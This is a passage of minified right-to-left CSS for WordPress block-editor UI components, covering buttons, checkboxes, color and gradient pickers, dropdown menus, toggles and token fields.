#0000}.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){box-shadow:none}.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{background:#0000;color:#949494;opacity:1;transform:none}.components-button.is-secondary{background:#0000;box-shadow:inset 0 0 0 1px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:1px solid #0000;white-space:nowrap}.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true]){box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6))}.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){box-shadow:inset 0 0 0 1px #ddd}.components-button.is-tertiary{background:#0000;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));white-space:nowrap}.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true]){background:rgba(var(--wp-admin-theme-color--rgb),.04)}.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){background:rgba(var(--wp-admin-theme-color--rgb),.08)}p+.components-button.is-tertiary{margin-right:-6px}.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){box-shadow:none;outline:none}.components-button.is-destructive{--wp-components-color-accent:#cc1818;--wp-components-color-accent-darker-10:#9e1313;--wp-components-color-accent-darker-20:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){color:#cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled){color:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled){background:#ccc}.components-button.is-link{background:none;border:0;border-radius:0;box-shadow:none;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));height:auto;margin:0;outline:none;padding:0;text-align:right;text-decoration:underline;transition-duration:.05s;transition-property:border,background,color;transition-timing-function:ease-in-out}@media (prefers-reduced-motion:reduce){.components-button.is-link{transition-delay:0s;transition-duration:0s}}.components-button.is-link:focus{border-radius:2px}.components-button:not(:disabled,[aria-disabled=true]):active{color:var(--wp-components-color-foreground,#1e1e1e)}.components-button:disabled,.components-button[aria-disabled=true]{cursor:default;opacity:.3}.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation:components-button__busy-animation 2.5s linear infinite;background-image:linear-gradient(45deg,#fafafa 33%,#e0e0e0 0,#e0e0e0 70%,#fafafa 0);background-size:100px 100%;opacity:1}@media (prefers-reduced-motion:reduce){.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation-duration:0s}}.components-button.is-compact{height:32px}.components-button.is-compact.has-icon:not(.has-text){min-width:32px;padding:0;width:32px}.components-button.is-small{font-size:11px;height:24px;line-height:22px;padding:0 8px}.components-button.is-small.has-icon:not(.has-text){min-width:24px;padding:0;width:24px}.components-button.has-icon{justify-content:center;min-width:36px;padding:6px}.components-button.has-icon.is-next-40px-default-size{min-width:40px}.components-button.has-icon .dashicon{align-items:center;box-sizing:initial;display:inline-flex;justify-content:center;padding:2px}.components-button.has-icon.has-text{gap:4px;justify-content:start;padding-left:12px;padding-right:8px}.components-button.is-pressed{background:var(--wp-components-color-foreground,#1e1e1e);color:var(--wp-components-color-foreground-inverted,#fff)}.components-button.is-pressed:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-button.is-pressed:hover:not(:disabled){background:var(--wp-components-color-foreground,#1e1e1e);color:var(--wp-components-color-foreground-inverted,#fff)}.components-button svg{fill:currentColor;outline:none}@media (forced-colors:active){.components-button svg{fill:CanvasText}}.components-button .components-visually-hidden{height:auto}@keyframes components-button__busy-animation{0%{background-position:right 200px top 0}}.components-checkbox-control__input[type=checkbox]{-webkit-appearance:none;appearance:none;background:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:0 0 0 #0000;clear:none;color:#1e1e1e;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;line-height:0;margin:0 0 0 4px;outline:0;padding:6px 8px;padding:0!important;text-align:center;transition:box-shadow .1s linear;transition:none;transition:border-color .1s ease-in-out;vertical-align:top;width:24px}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{font-size:13px;line-height:normal}}.components-checkbox-control__input[type=checkbox]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-4px -5px 0 0}}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{content:"";display:inline-block;float:right;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{float:none;font-size:21px}}.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{height:20px;width:20px}}@media (prefers-reduced-motion:reduce){.components-checkbox-control__input[type=checkbox]{transition-delay:0s;transition-duration:0s}}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before{content:none}.components-checkbox-control__input-container{display:inline-block;height:24px;margin-left:12px;position:relative;vertical-align:middle;width:24px}@media (min-width:600px){.components-checkbox-control__input-container{height:20px;width:20px}}svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{fill:#fff;cursor:pointer;height:24px;pointer-events:none;position:absolute;right:0;top:0;-webkit-user-select:none;user-select:none;width:24px}@media (min-width:600px){svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{right:-2px;top:-2px}}.components-circular-option-picker{display:inline-block;min-width:188px;width:100%}.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{display:flex;justify-content:flex-end;margin-top:12px}.components-circular-option-picker .components-circular-option-picker__swatches{display:flex;flex-wrap:wrap;gap:12px;position:relative;z-index:1}.components-circular-option-picker>:not(.components-circular-option-picker__swatches){position:relative;z-index:0}.components-circular-option-picker__option-wrapper{display:inline-block;height:28px;transform:scale(1);transition:transform .1s ease;vertical-align:top;width:28px;will-change:transform}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option-wrapper{transition-delay:0s;transition-duration:0s}}.components-circular-option-picker__option-wrapper:hover{transform:scale(1.2)}.components-circular-option-picker__option-wrapper>div{height:100%;width:100%}.components-circular-option-picker__option-wrapper:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' clip-rule='evenodd'/%3E%3C/svg%3E");border-radius:50%;bottom:1px;content:"";left:1px;position:absolute;right:1px;top:1px;z-index:-1}.components-circular-option-picker__option{background:#0000;border:none;border-radius:50%;box-shadow:inset 0 0 0 14px;cursor:pointer;display:inline-block;height:100%;transition:box-shadow .1s ease;vertical-align:top;width:100%}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option{transition-delay:0s;transition-duration:0s}}.components-circular-option-picker__option:hover{box-shadow:inset 0 0 0 14px!important}.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{box-shadow:inset 0 0 0 4px;overflow:visible;position:relative;z-index:1}.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{border-radius:50%;pointer-events:none;position:absolute;right:2px;top:2px;z-index:2}.components-circular-option-picker__option:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.components-circular-option-picker__option:focus:after{border:2px solid #757575;border-radius:50%;box-shadow:inset 0 0 0 2px #fff;content:"";height:calc(100% + 4px);position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:calc(100% + 4px)}.components-circular-option-picker__option.components-button:focus{background-color:initial;box-shadow:inset 0 0 0 14px;outline:none}.components-circular-option-picker__button-action .components-circular-option-picker__option{background:#fff;color:#fff}.components-circular-option-picker__dropdown-link-action{margin-left:16px}.components-circular-option-picker__dropdown-link-action .components-button{line-height:22px}.components-palette-edit__popover-gradient-picker{padding:8px;width:260px}.components-dropdown-menu__menu .components-palette-edit__menu-button{width:100%}.component-color-indicator{background:#fff linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1px #0003;display:inline-block;height:20px;padding:0;width:20px}.components-combobox-control{width:100%}input.components-combobox-control__input[type=text]{border:none;box-shadow:none;font-family:inherit;font-size:16px;line-height:inherit;margin:0;min-height:auto;padding:2px;width:100%}@media (min-width:600px){input.components-combobox-control__input[type=text]{font-size:13px}}input.components-combobox-control__input[type=text]:focus{box-shadow:none;outline:none}.components-combobox-control__suggestions-container{align-items:flex-start;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;display:flex;flex-wrap:wrap;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.components-combobox-control__suggestions-container{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-combobox-control__suggestions-container{font-size:13px;line-height:normal}}.components-combobox-control__suggestions-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__suggestions-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-combobox-control__suggestions-container:-ms-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container:focus-within{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__reset.components-button{display:flex;height:16px;min-width:16px;padding:0}.components-color-palette__custom-color-wrapper{position:relative;z-index:0}.components-color-palette__custom-color-button{background:none;border:none;border-radius:2px 2px 0 0;box-shadow:inset 0 0 0 1px #0003;box-sizing:border-box;cursor:pointer;height:64px;outline:1px solid #0000;position:relative;width:100%}.components-color-palette__custom-color-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-width:2px}.components-color-palette__custom-color-button:after{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,24px 24px;background-size:48px 48px;content:"";height:100%;position:absolute;right:0;top:0;width:100%;z-index:-1}.components-color-palette__custom-color-text-wrapper{border-radius:0 0 2px 2px;box-shadow:inset 0 -1px 0 0 #0003,inset -1px 0 0 0 #0003,inset 1px 0 0 0 #0003;font-size:13px;padding:12px 16px;position:relative}.components-color-palette__custom-color-name{color:var(--wp-components-color-foreground,#1e1e1e);margin:0 1px}.components-color-palette__custom-color-value{color:#757575}.components-color-palette__custom-color-value--is-hex{text-transform:uppercase}.components-color-palette__custom-color-value:empty:after{content:"​";visibility:hidden}.components-custom-gradient-picker__gradient-bar{border-radius:2px;height:48px;position:relative;width:100%;z-index:1}.components-custom-gradient-picker__gradient-bar.has-gradient{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,12px 12px;background-size:24px 24px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{inset:0;position:absolute}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{margin-left:auto;margin-right:auto;position:relative;width:calc(100% - 48px)}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{display:flex;height:16px;position:absolute;top:16px;width:16px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{background:#fff;border-radius:50%;color:#1e1e1e;height:inherit;min-width:16px;padding:2px;position:relative;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{height:100%;width:100%}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 2px 0 #00000040;height:inherit;outline:2px solid #0000;padding:0;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff,0 0 2px 0 #00000040;outline:1.5px solid #0000}.components-custom-gradient-picker__remove-control-point-wrapper{padding-bottom:8px}.components-custom-gradient-picker__inserter{direction:ltr}.components-custom-gradient-picker__liner-gradient-indicator{display:inline-block;flex:0 auto;height:20px;width:20px}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar{border:none}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar>div+div{margin-right:1px}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed>svg{background:#fff;border:1px solid #949494;border-radius:2px}.components-custom-gradient-picker__ui-line{position:relative;z-index:0}.components-custom-select-control{font-size:13px;position:relative}.components-custom-select-control__button{outline:0;position:relative;text-align:right}.components-custom-select-control__hint{color:#949494;margin-right:10px}.components-custom-select-control__menu{background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;max-height:400px;min-width:100%;outline:none;overflow:auto;padding:0;position:absolute;transition:none;z-index:1000000}.components-custom-select-control__menu[aria-hidden=true]{display:none}.components-custom-select-control__item{align-items:center;cursor:default;display:grid;grid-template-columns:auto auto;line-height:28px;list-style-type:none;padding:8px 16px}.components-custom-select-control__item:not(.is-next-40px-default-size){padding:8px}.components-custom-select-control__item.has-hint{grid-template-columns:auto auto 30px}.components-custom-select-control__item.is-highlighted{background:#ddd}.components-custom-select-control__item .components-custom-select-control__item-hint{color:#949494;padding-left:4px;text-align:left}.components-custom-select-control__item .components-custom-select-control__item-icon{margin-right:auto}.components-custom-select-control__item:last-child{margin-bottom:0}.block-editor-dimension-control .components-base-control__field{align-items:center;display:flex}.block-editor-dimension-control .components-base-control__label{align-items:center;display:flex;margin-bottom:0;margin-left:1em}.block-editor-dimension-control .components-base-control__label .dashicon{margin-left:.5em}.block-editor-dimension-control.is-manual .components-base-control__label{width:10em}body.is-dragging-components-draggable{cursor:move;cursor:grabbing!important}.components-draggable__invisible-drag-image{height:50px;position:fixed;right:-1000px;width:50px}.components-draggable__clone{background:#0000;padding:0;pointer-events:none;position:fixed;z-index:1000000000}.components-drop-zone{border-radius:2px;bottom:0;left:0;opacity:0;position:absolute;right:0;top:0;visibility:hidden;z-index:40}.components-drop-zone.is-active{opacity:1;visibility:visible}.components-drop-zone__content{align-items:center;background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));bottom:0;color:#fff;display:flex;height:100%;justify-content:center;left:0;position:absolute;right:0;text-align:center;top:0;width:100%;z-index:50}.components-drop-zone__content-icon,.components-drop-zone__content-text{display:block}.components-drop-zone__content-icon{line-height:0;margin:0 auto 8px;fill:currentColor;pointer-events:none}.components-drop-zone__content-text{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-dropdown{display:inline-block}.components-dropdown__content .components-popover__content{padding:8px}.components-dropdown__content [role=menuitem]{white-space:nowrap}.components-dropdown-menu__toggle{vertical-align:top}.components-dropdown-menu__menu{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:1.4;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{cursor:pointer;outline:none;padding:6px;white-space:nowrap;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{margin-top:6px;overflow:visible;position:relative}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{background-color:#ddd;box-sizing:initial;content:"";display:block;height:1px;left:0;position:absolute;right:0;top:-3px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{background:#1e1e1e;border-radius:1px;box-shadow:0 0 0 1px #1e1e1e;color:#fff}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{width:auto}.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{height:auto;min-height:36px;padding-left:8px;padding-right:8px;text-align:right}.components-dropdown-menu__menu .components-menu-group{margin:0 -8px;padding:8px}.components-dropdown-menu__menu .components-menu-group:first-child{margin-top:-8px}.components-dropdown-menu__menu .components-menu-group:last-child{margin-bottom:-8px}.components-dropdown-menu__menu .components-menu-group+.components-menu-group{border-top:1px solid #ccc;margin-top:0;padding:8px}.is-alternate .components-dropdown-menu__menu .components-menu-group+.components-menu-group{border-color:#1e1e1e}.components-duotone-picker__color-indicator:before{background:#0000}.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);color:#0000}.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{color:#0000}.components-color-list-picker,.components-color-list-picker__swatch-button{width:100%}.components-color-list-picker__color-picker{margin:8px 0}.components-color-list-picker__swatch-button{padding:6px}.components-color-list-picker__swatch-color{margin:2px}.components-form-toggle{display:inline-block;position:relative}.components-form-toggle .components-form-toggle__track{background-color:#fff;border:1px solid #1e1e1e;border-radius:9px;box-sizing:border-box;content:"";display:inline-block;height:18px;overflow:hidden;position:relative;transition:background-color .2s ease,border-color .2s ease;vertical-align:top;width:36px}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__track{transition-delay:0s;transition-duration:0s}}.components-form-toggle .components-form-toggle__track:after{border-top:18px solid #0000;box-sizing:border-box;content:"";inset:0;opacity:0;position:absolute;transition:opacity .2s ease}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__track:after{transition-delay:0s;transition-duration:0s}}.components-form-toggle .components-form-toggle__thumb{background-color:#1e1e1e;border:6px solid #0000;border-radius:50%;box-sizing:border-box;display:block;height:12px;position:absolute;right:3px;top:3px;transition:transform .2s ease,background-color .2s ease-out;width:12px}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__thumb{transition-delay:0s;transition-duration:0s}}.components-form-toggle.is-checked .components-form-toggle__track{background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-toggle.is-checked .components-form-toggle__track:after{opacity:1}.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:2px}.components-form-toggle.is-checked .components-form-toggle__thumb{background-color:#fff;border-width:0;transform:translateX(-18px)}.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{opacity:.3}.components-form-toggle input.components-form-toggle__input[type=checkbox]{border:none;height:100%;margin:0;opacity:0;padding:0;position:absolute;right:0;top:0;width:100%;z-index:1}.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{background:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{content:""}.components-form-token-field__input-container{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;cursor:text;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.components-form-token-field__input-container{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-form-token-field__input-container{font-size:13px;line-height:normal}}.components-form-token-field__input-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-form-token-field__input-container:-ms-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container.is-disabled{background:#ddd;border-color:#ddd}.components-form-token-field__input-container.is-active{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container input[type=text].components-form-token-field__input{background:inherit;border:0;box-shadow:none;color:#1e1e1e;display:inline-block;flex:1;font-family:inherit;font-size:16px;margin-right:4px;max-width:100%;min-height:24px;min-width:50px;padding:0;width:100%}@media (min-width:600px){.components-form-token-field__input-container input[type=text].components-form-token-field__input{font-size:13px}}.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{box-shadow:none;outline:none}.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{width:auto}.components-form-token-field__token{color:#1e1e1e;display:flex;font-size:13px;max-width:100%}.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{background:#4ab866}.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{background:#cc1818}.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{color:#757575}.components-form-token-field__token.is-borderless{padding:0 0 0 24px;position:relative}.components-form-token-field__token.is-borderless .components-form-token-field__token-text{background:#0000;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{background:#0000;color:#757575;left:0;padding:0;position:absolute;top:1px}.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{color:#4ab866}.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{border-radius:0 4px 4px 0;color:#cc1818;padding:0 6px 0 4px}.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{color:#1e1e1e}.components-form-token-field__token.is-disabled .components-form-token-field__remove-token{cursor:default}.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{background:#ddd;display:inline-block;height:auto;line-height:24px;min-width:unset;transition:all .2s cubic-bezier(.4,1,.4,1)}@media (prefers-reduced-motion:reduce){.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{animation-delay:0s;animation-duration:1ms;transition-delay:0s;transition-duration:0s}}.components-form-token-field__token-text{border-radius:0 2px 2px 0;overflow:hidden;padding:0 8px 0 0;text-overflow:ellipsis;white-space:nowrap}.components-form-token-field__remove-token.components-button{border-radius:2px 0 0 2px;color:#1e1e1e;cursor:pointer;line-height:10px;overflow:initial;padding:0 2px}.components-form-token-field__remove-token.components-button:hover{color:#1e1e1e}.components-form-token-field__suggestions-list{box-shadow:inset 0 1px 0 0 #949494;flex:1 0 100%;list-style:none;margin:0;max-height:128px;min-width:100%;overflow-y:auto;padding:0;transition:all .15s ease-in-out}@media (prefers-reduced-motion:reduce){.components-form-token-field__suggestions-list{transition-delay:0s;transition-duration:0s}}.components-form-token-field__suggestion{box-sizing:border-box;color:#1e1e1e;cursor:pointer;display:block;font-size:13px;margin:0;min-height:32px;padding:8px 12px}.components-form-token-field__suggestion.is-selected{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff}@media (min-width:600px){.components-guide{width:600px}}.components-guide .components-modal__content{border-radius:2px;margin-top:0;padding:0}.components-guide .components-modal__content:before{content:none}.components-guide .components-modal__header{border-bottom:none;height:60px;padding:0;position:sticky}.components-guide .components-modal__header .components-button{align-self:flex-start;margin:8px 0 0 8px;position:static}.components-guide .components-modal__header .components-button:hover svg{fill:#fff}.components-guide__container{display:flex;flex-direction:column;justify-content:space-between;margin-top:-60px;min-height:100%}.components-guide__page{display:flex;flex-direction:column;justify-content:center;position:relative}@media 